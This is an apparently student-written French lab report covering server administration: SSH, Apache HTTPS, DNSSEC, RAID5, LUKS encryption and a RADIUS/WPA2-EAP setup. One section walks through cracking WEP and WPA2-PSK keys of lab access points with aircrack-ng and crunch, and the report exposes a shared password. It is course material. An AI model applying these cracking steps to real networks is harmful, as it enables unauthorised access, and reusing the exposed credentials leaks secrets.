 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre site est sécurisé, on peut afficher le certificat et voir le petit cadenas vert. On est Safe ! :D  &lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---sitesécurisé.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNSSEC avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
'''Installer bind9'''&lt;br /&gt;
&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
'''Génération des clés '''&lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
'''Signature de la zone'''&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On souhaite ensuite créer un RAID (Redundant Array of Inexpensive Disks) afin de rendre notre système de stockage plus robuste. On choisit de faire un RAID5, ce qui va permettre de répartir nos données sur plusieurs partitions et rendre l'accès à ces données plus rapide. &lt;br /&gt;
Nous décidons d'utiliser 3 disques. Ainsi, chaque disque sera composé d'une partie des données mais également d'un bloc destiné à la parité. Par conséquent, si l'un des disques tombe en panne, on pourra le reconstituer grâce aux 2 autres. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:RAID5.png]]&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm. Cet utilitaire&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
'''Construction du volume RAID'''&lt;br /&gt;
&lt;br /&gt;
 # mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
'''Démonisation du volume RAID'''&lt;br /&gt;
On va maintenant démoniser le volume RAID, c'est à dire faire en sorte que le système charge le volume à chaque démarrage. &lt;br /&gt;
 # mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
'''Formatage du volume RAID'''&lt;br /&gt;
Enfin, on formate le volume.&lt;br /&gt;
 # mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet d'obtenir des informations sur notre volume fraîchement crée. &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:~# mdadm --detail /dev/md0&lt;br /&gt;
 /dev/md0:&lt;br /&gt;
        Version : 1.2&lt;br /&gt;
  Creation Time : Thu Nov 28 16:56:26 2019&lt;br /&gt;
     Raid Level : raid5&lt;br /&gt;
     Array Size : 2095104 (2046.00 MiB 2145.39 MB)&lt;br /&gt;
  Used Dev Size : 1047552 (1023.00 MiB 1072.69 MB)&lt;br /&gt;
   Raid Devices : 3&lt;br /&gt;
  Total Devices : 3&lt;br /&gt;
    Persistence : Superblock is persistent&lt;br /&gt;
    Update Time : Sun Dec  1 01:00:45 2019&lt;br /&gt;
          State : clean &lt;br /&gt;
 Active Devices : 3&lt;br /&gt;
 Working Devices : 3&lt;br /&gt;
 Failed Devices : 0&lt;br /&gt;
  Spare Devices : 0&lt;br /&gt;
         Layout : left-symmetric&lt;br /&gt;
     Chunk Size : 512K&lt;br /&gt;
           Name : ima2a5-zerofun:0  (local to host ima2a5-zerofun)&lt;br /&gt;
           UUID : d0b2e2f1:c1298ca0:c684c1ec:b711b7f0&lt;br /&gt;
         Events : 23&lt;br /&gt;
    Number   Major   Minor   RaidDevice State&lt;br /&gt;
       0     202       19        0      active sync   /dev/xvdb3&lt;br /&gt;
       1     202       20        1      active sync   /dev/xvdb4&lt;br /&gt;
       3     202       21        2      active sync   /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on installe le package qui va nous permettre de crypter la clé USB:&lt;br /&gt;
&lt;br /&gt;
 apt-get install lvm2 cryptsetup&lt;br /&gt;
&lt;br /&gt;
On affiche les périphériques USB disponibles:&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
Attention ces étapes ont pour but de supprimer le contenu de la clé USB:&lt;br /&gt;
&lt;br /&gt;
 fdsik /dev/sda&lt;br /&gt;
 d //permet de supprimer les partitions &lt;br /&gt;
 w // on sauvegarde les modifications &lt;br /&gt;
 n // on crée une nouvelle partition&lt;br /&gt;
 p // pour la rendre primaire &lt;br /&gt;
 1 // on lui donne un numéro de partition &lt;br /&gt;
&lt;br /&gt;
On garde le volume du disque par défaut proposé. &lt;br /&gt;
&lt;br /&gt;
La clé USB est maintenant prête à être chiffrée grâce au package précédemment téléchargé&lt;br /&gt;
&lt;br /&gt;
Chiffrage du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat -c aes -h sha256 /dev/sda1&lt;br /&gt;
  &lt;br /&gt;
Ouverture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup open --type luks /dev/sda1 home&lt;br /&gt;
 &lt;br /&gt;
Création du système de fichiers&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Montage du périphérique&lt;br /&gt;
&lt;br /&gt;
 mount -t ext4 /dev/mapper/home /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Démontage physique du périphérique&lt;br /&gt;
&lt;br /&gt;
 umount /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Fermeture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup close --type luks home&lt;br /&gt;
&lt;br /&gt;
==Sécurisation wifi par WPA2-EAP==&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe. &lt;br /&gt;
&lt;br /&gt;
Dans le CISCO : &lt;br /&gt;
&lt;br /&gt;
'''Création du serveur radius'''&lt;br /&gt;
&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop&lt;br /&gt;
&lt;br /&gt;
'''Définir le groupe de serveur AAA'''&lt;br /&gt;
&lt;br /&gt;
 aaa group server radius radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Association du groupe de serveur et du serveur de la VM'''&lt;br /&gt;
&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
'''Définition du login et du groupe de serveur'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Définition du SSID'''&lt;br /&gt;
&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun                                &lt;br /&gt;
 vlan num_vlan&lt;br /&gt;
